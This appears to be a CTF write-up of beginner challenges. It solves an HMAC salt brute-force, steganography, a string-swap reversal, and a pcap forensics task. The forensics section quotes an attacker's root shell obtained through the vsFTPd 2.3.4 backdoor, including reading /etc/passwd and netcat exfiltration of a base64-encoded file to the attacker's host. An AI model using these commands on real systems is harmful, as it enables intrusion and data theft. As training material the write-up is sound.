Beginner

babyCrypto

Challenge

We have many messages with short MAC-signatures. Recover the salt and find the flag.

dataset.json

json
{  "dataset": [    {      "message": "note_0:1d7b4557164378a4",      "mac": "ceaedcf7"    },    {      "message": "note_1:b1b33844da973317",      "mac": "9a97016b"    },    {      "message": "note_2:191eba3b56ed0839",      "mac": "6d590b3a"    },    {      "message": "note_3:9dce046ed38aca0e",      "mac": "308a46cc"    },    {      "message": "note_4:ee65ecd56ddc9552",      "mac": "82def9df"    },    {      "message": "note_5:7fe23fa92ff2e6ac",      "mac": "cee74da2"    },    {      "message": "note_6:b2bd5ce4f481f0eb",      "mac": "f3f7845a"    },    {      "message": "note_7:09532a0958de2d6a",      "mac": "2b8c44e4"    },    {      "message": "note_8:d43189805adbd249",      "mac": "2c573a8c"    },    {      "message": "note_9:9f79625391e648e3",      "mac": "a033fefa"    },    {      "message": "note_10:0380a9f5a3c8d435",      "mac": "02738a8c"    },    {      "message": "note_11:68942dd225be6735",      "mac": "7ba92bde"    },    {      "message": "note_12:4225bab8a94e98e9",      "mac": "0c835ad3"    },    {      "message": "note_13:89f6c2998057396a",      "mac": "7d871b89"    },    {      "message": "note_14:c70331941cdda465",      "mac": "210453dc"    },    {      "message": "note_15:cd6ed64b89bdb29a",      "mac": "74e82a4a"    },    {      "message": "note_16:0c7f14543baa22c5",      "mac": "05a85001"    },    {      "message": "note_17:ba9880eaa7d57c09",      "mac": "ca55ec66"    },    {      "message": "note_18:0ea7d5be4f64106b",      "mac": "41cb0f4c"    },    {      "message": "note_19:cc41d7110185aa49",      "mac": "3f9a3a75"    },    {      "message": "note_20:5d977fb8fc75d707",      "mac": "05510938"    },    {      "message": "note_21:9df10e67b2f00a25",      "mac": "cdbf4714"    },    {      "message": "note_22:8d18f45224b44af7",      "mac": "6c3a537d"    },    {      "message": "note_23:9bf61bf27204f949",      "mac": "3433ef45"    },    {      "message": "note_24:cfd8eefc41cf1fd2",      "mac": "037f7b4c"    },    {      "message": "note_25:05b162041e5cc7a9",      "mac": "d856529c"    },    {      "message": "note_26:b046a2c33344bb90",      "mac": "fba01062"    },    {      "message": "note_27:050bcaaf4ee6eda0",      "mac": "6cd7fad6"    },    {      "message": "note_28:55e289a889473d42",      "mac": "d5b42f87"    },    {      "message": "note_29:495ef10672ed6efa",      "mac": "1f052baf"    },    {      "message": "note_30:f5660ae8f933f9ce",      "mac": "d41e325d"    },    {      "message": "note_31:60d2b4c615dfbe4b",      "mac": "0c4335f0"    },    {      "message": "note_32:b3d19d55a06c5258",      "mac": "c3906c57"    },    {      "message": "note_33:6d2b63ad24b783c5",      "mac": "85397f0f"    },    {      "message": "note_34:9766204c3f1fcfd7",      "mac": "1ac91f03"    },    {      "message": "note_35:682f35ae79319f37",      "mac": "17b9b679"    },    {      "message": "note_36:63e4f5f01e298d44",      "mac": "6996c10e"    },    {      "message": "note_37:9e002726d4b21523",      "mac": "ee20a631"    },    {      "message": "note_38:26d1104e57375dfb",      "mac": "2ef357c7"    },    {      "message": "note_39:d0a0dd12c1f35da5",      "mac": "760e74fd"    },    {      "message": "note_40:88aa6d67519a1574",      "mac": "215b19f7"    },    {      "message": "note_41:cb2396ce6273f0a4",      "mac": "20cf3b30"    },    {      "message": "note_42:7024d4aead068595",      "mac": "a61248e9"    },    {      "message": "note_43:358638f04323ed6e",      "mac": "d219fe93"    },    {      "message": "note_44:9c9888eb842ef005",      "mac": "ba2e52a6"    },    {      "message": "note_45:f8ad132288aea161",      "mac": "a5af9fae"    },    {      "message": "note_46:6ba3290aa6064e6e",      "mac": "936991bf"    },    {      "message": "note_47:73a9adc4fa778cfb",      "mac": "7237a8ac"    },    {      "message": "note_48:ee99342974fdda0b",      "mac": "570db1d4"    },    {      "message": "note_49:443e25093dd0994e",      "mac": "7b5241bd"    },    {      "message": "note_50:781e62b034dcd73d",      "mac": "2a9e2afa"    },    {      "message": "note_51:9abbcba1b314d7a9",      "mac": "cb3e058e"    },    {      "message": "note_52:a9c4becad803f232",      "mac": "88d71216"    },    {      "message": "note_53:79c3546a0c1a8139",      "mac": "1dd998fe"    },    {      "message": "note_54:b797de4b4031e7a3",      "mac": "e8032553"    },    {      "message": "note_55:0c52733c0e4bc2cc",      "mac": "70afa56a"    },    {      "message": "note_56:b049a04d16696efe",      "mac": "6e529105"    },    {      "message": "note_57:2b67cd51a2b6ecaf",      "mac": "ff735925"    },    {      "message": "note_58:06d8d583e15c288d",      "mac": "ddecb772"    },    {      "message": "note_59:8485df1939931020",      "mac": "89b1f951"    },    {      "message": "note_60:0824108ebd0bdb76",      "mac": "94f1905e"    },    {      "message": "note_61:86beabcfb4f53f5d",      "mac": "b94ffff2"    },    {      "message": "note_62:05cca6d67b6046d0",      "mac": "f6127740"    },    {      "message": "note_63:c56a2be597052062",      "mac": "5002bbcd"    },    {      "message": "note_64:4da73912607b1504",      "mac": "3a24863e"    },    {      "message": "note_65:291ca654af8f623c",      "mac": "c712d5da"    },    {      "message": "note_66:01321a090a9ad9b0",      "mac": "932ae9c2"    },    {      "message": "note_67:c017caf79c36e403",      "mac": "39112d6d"    },    {      "message": "note_68:71dc47c1d8d24d03",      "mac": "f8e3f6a2"    },    {      "message": "note_69:a0aa67344d8c1fea",      "mac": "e9fae796"    },    {      "message": "note_70:b382459c0d00e569",      "mac": "e13ab170"    },    {      "message": "note_71:8977b352c75acbf4",      "mac": "b36861b8"    },    {      "message": "note_72:79fb02444ba34494",      "mac": "ced5ebe1"    },    {      "message": "note_73:18c810cf6fcbaf46",      "mac": "14cb6a40"    },    {      "message": "note_74:0a112da897650e5c",      "mac": "63245c02"    },    {      "message": "note_75:adb296eea83fe2a7",      "mac": "b0505750"    },    {      "message": "note_76:a7d2652c90198393",      "mac": "35f0ace2"    },    {      "message": "note_77:fd043e94cc108748",      "mac": "006230f9"    },    {      "message": "note_78:bdad95776fb67c56",      "mac": "c8cc3c20"    },    {      "message": "note_79:256d9f5ca3d25b16",      "mac": "f2c58c72"    },    {      "message": "note_80:b3bb32ef2927ae37",      "mac": "12457c91"    },    {      "message": "note_81:9676c3ec36227b71",      "mac": "39843690"    },    {      "message": "note_82:4bdb5ef3f0ac0f02",      "mac": "5f2a1130"    },    {      "message": "note_83:2285d23d9b3e1a38",      "mac": "b07c2be9"    },    {      "message": "note_84:2e6660b878c01dd5",      "mac": "a3fce998"    },    {      "message": "note_85:b5455651c496d4b0",      "mac": "8fe3d1a3"    },    {      "message": "note_86:35483bf25d56920c",      "mac": "5c1799d5"    },    {      "message": "note_87:93d2895cda2d9e9b",      "mac": "892628b3"    },    {      "message": "note_88:406ff2e6edf27e88",      "mac": "58bf6ca9"    },    {      "message": "note_89:e0c757c390d76555",      "mac": "1751a6ac"    },    {      "message": "note_90:101be3572b7eaab9",      "mac": "d1ad4c8e"    },    {      "message": "note_91:d7b82d62a3052caa",      "mac": "b88bc0da"    },    {      "message": "note_92:822f7d3ab54f340b",      "mac": "7c1665ca"    },    {      "message": "note_93:5740f0ff34b2658f",      "mac": "ac98d45c"    },    {      "message": "note_94:88f89a4395bbcd90",      "mac": "557ba555"    },    {      "message": "note_95:7b183f99fb8ab6e8",      "mac": "92aa945c"    },    {      "message": "note_96:c7d4637b4fb4b1b5",      "mac": "650090e6"    },    {      "message": "note_97:ae51c1eff161fb27",      "mac": "2b71a9ff"    },    {      "message": "note_98:b29cd82788ad7afe",      "mac": "1563a51a"    },    {      "message": "note_99:5d3364af29b110a1",      "mac": "3d7657e5"    },    {      "message": "note_100:c4d9e2927c790e24",      "mac": "7e533809"    },    {      "message": "note_101:d5d552d564a10d35",      "mac": "4bc69eec"    },    {      "message": "note_102:acaaf9c2c2051935",      "mac": "67aaffa7"    },    {      "message": "note_103:ef1e3d54462658e0",      "mac": "44110232"    },    {      "message": "note_104:aaa237516a654247",      "mac": "43e59553"    },    {      "message": "note_105:ea3d23a4e0f66175",      "mac": "fe7763b2"    },    {      "message": "note_106:16b23eab6971664b",      "mac": "bd35f0ed"    },    {      "message": "note_107:6b973c9ab6e39167",      "mac": "4d7c9a63"    },    {      "message": "note_108:0b17a76cf2d390fe",      "mac": "9f7e260c"    },    {      "message": "note_109:ac8a7cdaaddd31e7",      "mac": "b58f8298"    },    {      "message": "note_110:1f0762a4cf023a75",      "mac": "f21eff98"    },    {      "message": "note_111:91f167c298d14a00",      "mac": "1d09295c"    },    {      "message": "note_112:24e5b6146adf1097",      "mac": "27be4560"    },    {      "message": "note_113:8249c7cba0b2123a",      "mac": "b9243d25"    },    {      "message": "note_114:c932fdcaf5c1802d",      "mac": "5d1aeb27"    },    {      "message": "note_115:68608bb4d327de29",      "mac": "8064f355"    },    {      "message": "note_116:08d268cd38aba2e5",      "mac": "b8c8a48e"    },    {      "message": "note_117:51c91453c07b95bc",      "mac": "639f8985"    },    {      "message": "note_118:dfda0447c108cb42",      "mac": "bff82db9"    },    {      "message": "note_119:7475214f4a0c4551",      "mac": "f135d1d8"    },    {      "message": "note_120:9fde8f17c40425cc",      "mac": "777d9b50"    },    {      "message": "note_121:61e0f740e611c9f2",      "mac": "0d11ba73"    },    {      "message": "note_122:44de2de1e305984d",      "mac": "ac6a4628"    },    {      "message": "note_123:ad6cd06a79bdff25",      "mac": "0cb5c160"    },    {      "message": "note_124:73650022a43b2203",      "mac": "831c7b4a"    },    {      "message": "note_125:6e17cc21165e07c2",      "mac": "06fb10b5"    },    {      "message": "note_126:f987bbd4cede87b8",      "mac": "5e0d9b3b"    },    {      "message": "note_127:c77053d483fa3dfb",      "mac": "cc8ab886"    }  ],  "flag_enc": "641ca46700a47839aa6f1aae7131bb761a947a01be7131b86202bf5c0fbc621794540fa7770bb97e",  "params": {    "hmac": "HMAC-SHA256",    "trunc_bytes": 4,    "salt_len_bytes": 3,    "note": "salt is secret and same for all messages; flag_enc is XOR(flag, salt repeated)"  }}

Solution

我们有：

  • 128 条数据，每条是 "note_i:xxxxxxxxxxxxxxxx" 这样的消息（16 个十六进制字符，表示 8 字节数据），以及对应的 MAC 值（4 字节十六进制，即 trunc_bytes: 4）。
  • 使用 HMAC-SHA256，只取输出前 4 字节作为 MAC。
  • salt_len_bytes = 3，盐是 3 字节（24 位），对所有消息是相同的、秘密的。
  • 最后有一个 flag_enc，是 flag 与 salt 重复异或得到的。

因此我们要先恢复 salt，然后解密 flag_enc。

已知：
MAC = Truncate(HMAC-SHA256(salt, message), 4字节)。

每个消息的 MAC 只有 4 字节（32 位），所以理论上如果我们可以枚举所有可能的 salt（3 字节 = 24 位），就可以检查它能否产生所有 128 条消息的对应 MAC，从而确定正确的 salt。

暴力枚举范围：( ) 种可能，对每个 salt 计算 128 次 HMAC 并截断比较，计算量大约 ( ) 次 HMAC，在合理时间内可以用单机完成。

解题步骤：

  1. 读取所有 (message, mac) 对。
  2. 枚举所有可能的 3 字节 salt（0 到 0xFFFFFF）。
  3. 对每个 salt，计算所有消息的 HMAC-SHA256，取前 4 字节与给定的 MAC 比较。
  4. 如果所有 128 个 MAC 都匹配，该 salt 即为正确。
  5. 用此 salt 作为重复密钥，与 flag_enc 异或得到 flag。
python
import hashlibimport hmacimport json # 给定数据data = {  "dataset": [    {"message": "note_0:1d7b4557164378a4", "mac": "ceaedcf7"},    # ...    {"message": "note_127:c77053d483fa3dfb", "mac": "cc8ab886"}  ],  "flag_enc": "641ca46700a47839aa6f1aae7131bb761a947a01be7131b86202bf5c0fbc621794540fa7770bb97e",  "params": {    "hmac": "HMAC-SHA256",    "trunc_bytes": 4,    "salt_len_bytes": 3,    "note": "salt is secret and same for all messages; flag_enc is XOR(flag, salt repeated)"  }} dataset = data['dataset']flag_enc_hex = data['flag_enc'] # 先转换 mac 为 bytes 便于比较macs = []messages = []for entry in dataset:    messages.append(entry['message'].encode())    macs.append(bytes.fromhex(entry['mac'])) flag_enc = bytes.fromhex(flag_enc_hex) # 暴力破解 saltdef find_salt():    for salt_int in range(0x1000000):  # 0 ~ 0xFFFFFF        salt = salt_int.to_bytes(3, 'big')        ok = True        for msg, target_mac in zip(messages, macs):            h = hmac.new(salt, msg, hashlib.sha256).digest()            if h[:4] != target_mac:                ok = False                break        if ok:            return salt    return None salt = find_salt()print("Found salt:", salt.hex()) # 解密 flagdef xor_bytes(a, b):    return bytes(x ^ y for x, y in zip(a, b)) # salt 重复到与 flag_enc 相同长度salt_repeated = (salt * (len(flag_enc) // 3 + 1))[:len(flag_enc)]flag = xor_bytes(flag_enc, salt_repeated)print(flag.decode('utf-8', errors='ignore'))

FLAG

text
grodno{Walter_put_your_salt_away_Walter}

babyStegano

Challenge

There are snowflakes on the window, but I think there is something behind them.

Solution

LAB 隐写

text
imagedata           .. text: "/34XYYCIK"b1,r,msb,xy         .. text: "\tr&xp2VD"b1,b,lsb,xy         .. text: "grodno{happy_new_year_ctfers}"b1,rgb,msb,xy       .. text: "&dT;qb'q\""b2,r,msb,xy         .. text: "T<\n%PI)4"b2,g,msb,xy         .. text: "W<\n%PI)4"b2,b,msb,xy         .. text: "\n\\\nj]JYU<\n%PI)4["b4,b,lsb,xy         .. text: "#5FfeUDDE"

FLAG

text
grodno{happy_new_year_ctfers}

babyReverse

Challenge

Let’s start with a warm-up:
ro1dnEoSeT{Sth_rgA_01r!G4trnvF#lm_L)#@#(m#}

Solution

c
// mainint __fastcall main(int argc, const char **argv, const char **envp){  int i; // [rsp+14h] [rbp-9Ch]  char dest[136]; // [rsp+20h] [rbp-90h] BYREF  unsigned __int64 v6; // [rsp+A8h] [rbp-8h]   v6 = __readfsqword(0x28u);  if ( argc > 1 )  {    if ( strlen(argv[1]) > 0x80 )    {      puts("String is too long");      return 1;    }    else    {      strncpy(dest, argv[1], 0x80u);      dest[128] = 0;      for ( i = 10; i > 1; --i )        swaper(dest, (unsigned int)i);      puts(dest);      return 0;    }  }  else  {    puts("Give me a string");    return 1;  }}

主函数的核心逻辑是循环调用 swaper 函数10次

c
// swaper__int64 __fastcall swaper(char *dest, int i){  __int64 i_1; // rax  char v3; // [rsp+13h] [rbp-Dh]  int j; // [rsp+14h] [rbp-Ch]  size_t v5; // [rsp+18h] [rbp-8h]   v5 = strlen(dest);  for ( j = 0; ; j += i )  {    i_1 = i;    if ( j >= v5 - i )      break;    v3 = dest[j];    dest[j] = dest[j - 1 + i];    dest[j - 1 + i] = v3;  }  return i_1;}

swaper 函数的作用是交换

python
def swaper(dest, i):    dest = list(dest)    length = len(dest)    for j in range(0, length-i+1, i):        dest[j], dest[j+i-1] = dest[j+i-1], dest[j]    return ''.join(dest) def decode(encoded_str):    dest = encoded_str    for i in range(2, 11):        dest = swaper(dest, i)    return dest print(decode("ro1dnEoSeT{Sth_rgA_01r!G4trnvF#lm_L)#@#(m#}"))

FLAG

text
grodno{StArT_Ever1th1nG_Fr0m_Sm4lL#!##@(#)}

Forensics

exFill

Challenge

Sniffers on the network can sometimes tell a lot

Solution

攻击者（192.168.56.102）成功利用了目标机（192.168.56.103）上的 vsFTPd 2.3.4 后门漏洞 (CVE-2011-2523) 并获得了 Root Shell

  • ARP 扫描 (1-174包): 攻击者通过 ARP 请求遍历扫描 192.168.56.0/24 网段，确认了目标 .103 的存在。

  • Nmap 诱饵扫描 (780包起): 攻击者使用了 Nmap 的诱饵扫描（Decoy Scan），伪造了大量源 IP（如 30.73.154.1 等）来掩盖真实扫描行为。

  • 服务版本识别 (1864包): 攻击者识别出 21 端口运行的服务版本为 vsFTPd 2.3.4。

  • 关键数据包 (3739包): Request: USER 3FVka:) 触发 vsFTPd 2.3.4 后门的特征是在用户名后面加上 :)。

  • 后门开启 (3750包起):
    在发送完带 :) 的用户名后，目标主机的 6200 端口 会自动开启一个监听 Shell。
    流量显示攻击者立即发起了对 192.168.56.103:6200 的 TCP 连接：
    42737 → 6200 [SYN] ... [SYN, ACK]

  • 交互过程 (3753包以后): 攻击者在 6200 端口进行了数据交换，这些是攻击者在 shell 中执行的命令及其回显。

NewYearCTF2026-1

shell
id uid=0(root) gid=0(root) nohup  >/dev/null 2>&1echo edVwOOk1tE5Jlh2Z edVwOOk1tE5Jlh2Z echo GlJcbCAdmgnORA7Cq GlJcbCAdmgnORA7Cq  id uid=0(root) gid=0(root) pwd / cat /etc/passwd root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shdhcp:x:101:102::/nonexistent:/bin/falsesyslog:x:102:103::/home/syslog:/bin/falseklog:x:103:104::/home/klog:/bin/falsesshd:x:104:65534::/var/run/sshd:/usr/sbin/nologinmsfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bashbind:x:105:113::/var/cache/bind:/bin/falsepostfix:x:106:115::/var/spool/postfix:/bin/falseftp:x:107:65534::/home/ftp:/bin/falsepostgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashmysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/falsetomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/falsedistccd:x:111:65534::/:/bin/falseuser:x:1001:1001:just a user,111,,:/home/user:/bin/bashservice:x:1002:1002:,,,:/home/service:/bin/bashtelnetd:x:112:120::/nonexistent:/bin/falseproftpd:x:113:65534::/var/run/proftpd:/bin/falsestatd:x:114:65534::/var/lib/nfs:/bin/false ls /home/msfadmin capture.pcapf1ag.jpgvulnerable cd /home/msfadminls -la total 520drwxr-xr-x 5 msfadmin msfadmin   4096 Jan  6 10:34 .drwxr-xr-x 6 root     root       4096 Apr 16  2010 ..lrwxrwxrwx 1 root     root          9 May 13  2012 .bash_history -> /dev/nulldrwxr-xr-x 4 msfadmin msfadmin   4096 Apr 17  2010 .distcc-rw------- 1 root     root       4174 May 14  2012 .mysql_history-rw------- 1 msfadmin msfadmin      9 Jan  6 09:45 .nano_history-rw-r--r-- 1 msfadmin msfadmin    586 Mar 16  2010 .profile-rwx------ 1 msfadmin msfadmin      4 May 20  2012 .rhostsdrwx------ 2 msfadmin msfadmin   4096 May 17  2010 .ssh-rw-r--r-- 1 msfadmin msfadmin      0 May  7  2010 .sudo_as_admin_successful-rw-r--r-- 1 root     root     438272 Jan  6 10:39 capture.pcap-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpgdrwxr-xr-x 6 msfadmin msfadmin   4096 Apr 27  2010 vulnerable sha256sum f1ag.jpg af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg base64 f1ag.jpg | nc 192.168.56.102 4444ls capture.pcapf1ag.jpgvulnerable base64 f1ag.jpg > tmp.filels -l total 632-rw-r--r-- 1 root     root     520192 Jan  6 10:43 capture.pcap-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg-rw------- 1 root     root      63294 Jan  6 10:43 tmp.filedrwxr-xr-x 6 msfadmin msfadmin   4096 Apr 27  2010 vulnerable nc 192.168.56.102 < tmp.file no port[s] to connect to nc 192.168.56.102 4444 < tmp.filerm tmp.fileecho 'U 4re hacked =D' > readme.txtexit

筛选 tcp.port == 4444，第一条结果追踪流

NewYearCTF2026-2

解码得到图片的文件尾存在隐写

NewYearCTF2026-3

FLAG

text
grodno{it5_was_t00_s1mple_=D}